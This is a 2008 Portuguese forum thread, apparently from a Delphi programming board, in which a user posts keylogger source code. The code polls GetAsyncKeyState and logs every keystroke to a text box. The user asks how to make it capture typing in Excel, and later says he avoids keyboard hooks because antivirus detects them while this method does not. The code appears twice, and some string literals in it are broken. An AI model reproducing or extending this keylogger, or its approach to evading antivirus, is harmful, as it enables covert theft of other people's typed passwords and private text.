Guest --Jose -- Postado Outubro 16, 2008 Denunciar Share Postado Outubro 16, 2008 Estou com um problema, estou usando a função q coloquei logo abaixo para obter as teclas digitadas no computador, ele funciona legalzinho, mas tem um problema, ao digitar algo em um formulario do Excel ele não captura, alguém sabe porque???function Coloca(txt: String): String;begin Form1.Memo1.Text := Form1.Memo1.Text + txt;end;procedure TForm1.Timer1Timer(Sender: TObject);var keyloop, KeyResult : Integer;begin keyloop := 0; repeat KeyResult := GetAsyncKeyState(keyloop); if KeyResult = -32767 then begin case keyloop of 8: Coloca(' [bACKSPACE] '); 9: Coloca(' [TAB] '); 12: Coloca(' [ALT] '); 13: Coloca(' [ENTER] '); 16: Coloca(' [sHIFT] '); 17: Coloca(' [CONTROL] '); 18: Coloca(' [ALT] '); 20: Coloca(' [CAPS LOCK] '); 21: Coloca(' [page UP] '); 27: Coloca(' [ESC] '); 33: Coloca(' [page UP] '); 34: Coloca(' [page DOWN] '); 35: Coloca(' [END] '); 36: Coloca(' [HOME] '); 37: Coloca(' [sETA ESQUERDA] '); 38: Coloca(' [sETA ACIMA] '); 39: Coloca(' [sETA DIREITA] '); 40: Coloca(' [sETA ABAIXO] '); 45: Coloca(' [iNSERT] '); 46: Coloca(' [DEL] '); 91: Coloca(' [WIN ESQUERDA] '); 92: Coloca(' [WIN DIREITA] '); 93: Coloca(' [MENU POP-UP] '); 96: Coloca('0'); 97: Coloca('1'); 98: Coloca('2'); 99: Coloca('3'); 100: Coloca('4'); 101: Coloca('5'); 102: Coloca('6'); 103: Coloca('7'); 104: Coloca('8'); 105: Coloca('9'); 106: Coloca(' [NUM *] '); 107: Coloca(' [NUM +] '); 109: Coloca(' [NUM -] '); 110: Coloca(' [NUM SEP. DECIMAL] '); 111: Coloca(' [NUM /] '); 112: Coloca(' [F1] '); 113: Coloca(' [F2] '); 114: Coloca(' [F3] '); 115: Coloca(' [F4] '); 116: Coloca(' [F5] '); 117: Coloca(' [F6] '); 118: Coloca(' [F7] '); 119: Coloca(' [F8] '); 120: Coloca(' [F9] '); 121: Coloca(' [F10] '); 122: Coloca(' [F11] '); 123: Coloca(' [F12] '); 144: Coloca(' [NUM LOCK] '); 186: Coloca('Ç'); 187: Coloca('=); 188: Coloca(','); 189: Coloca('-'); 190: Coloca('.'); 191: Coloca(';'); 192: Coloca(' [APÓSTROFO] '); 193: Coloca('/'); 194: Coloca(' [NUM PONTO] '); 219: Coloca('´'); 220: Coloca(]'); 221: Coloca('['); 222: Coloca('~'); 226: Coloca('\'); else if (KeyLoop >= 65) and (keyloop <= 90) then Coloca(Chr(keyloop)); if (keyloop >= 32) and (keyloop <= 63) then Coloca(Chr(keyloop)); //numpad keycodes if (keyloop >= 96) and (keyloop <= 110) then Coloca(Chr(keyloop)); end; end; //case; inc(keyloop); until keyloop = 255;end Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Jhonas Postado Outubro 16, 2008 Denunciar Share Postado Outubro 16, 2008 Estou com um problema, estou usando a função q coloquei logo abaixo para obter as teclas digitadas no computador, ele funciona legalzinho, mas tem um problema, ao digitar algo em um formulario do Excel ele não captura, alguém sabe porque???Veja se alguns destes posts ajudahttp://scriptbrasil.com.br/forum/index.php...capturar+teclasabraço Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Guest Visitante Postado Outubro 17, 2008 Denunciar Share Postado Outubro 17, 2008 Valeu Jhonas, mas o meu problema é somente em capturar teclas digitadas no excel... c alguém mais poder me ajudar agradeço Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Jhonas Postado Outubro 17, 2008 Denunciar Share Postado Outubro 17, 2008 Valeu Jhonas, mas o meu problema é somente em capturar teclas digitadas no excel... c alguém mais poder me ajudar agradeçoSe voce procurasse, iria encontrar em um destes posts, um código que captura as teclas digitadas em qualquer janela do seu programa ou do windows ( excel )abraço Citar Link para o comentário Compartilhar em outros sites More sharing options...
0 Guest --Jose -- Postado Outubro 23, 2008 Denunciar Share Postado Outubro 23, 2008 Sim eu procurei mas o código q eu achei foi um Hook, e esse procedimento é detectável pelo anti vírus... E esse q eu postei não é. Por isso quero saber c existe alguma forma d usa-la para capturar teclas em qualquer lugar no Windows até mesmo sobre um formulario do Excel.Abraço Citar Link para o comentário Compartilhar em outros sites More sharing options...
Pergunta
Guest --Jose --
Estou com um problema, estou usando a função q coloquei logo abaixo para obter as teclas digitadas no computador, ele funciona legalzinho, mas tem um problema, ao digitar algo em um formulario do Excel ele não captura, alguém sabe porque???
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [bACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [sHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [page UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [page UP] ');
34: Coloca(' [page DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [sETA ESQUERDA] ');
38: Coloca(' [sETA ACIMA] ');
39: Coloca(' [sETA DIREITA] ');
40: Coloca(' [sETA ABAIXO] ');
45: Coloca(' [iNSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=);
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(]');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end
Link para o comentário
Compartilhar em outros sites
4 respostass a esta questão
Posts Recomendados
Participe da discussão
Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.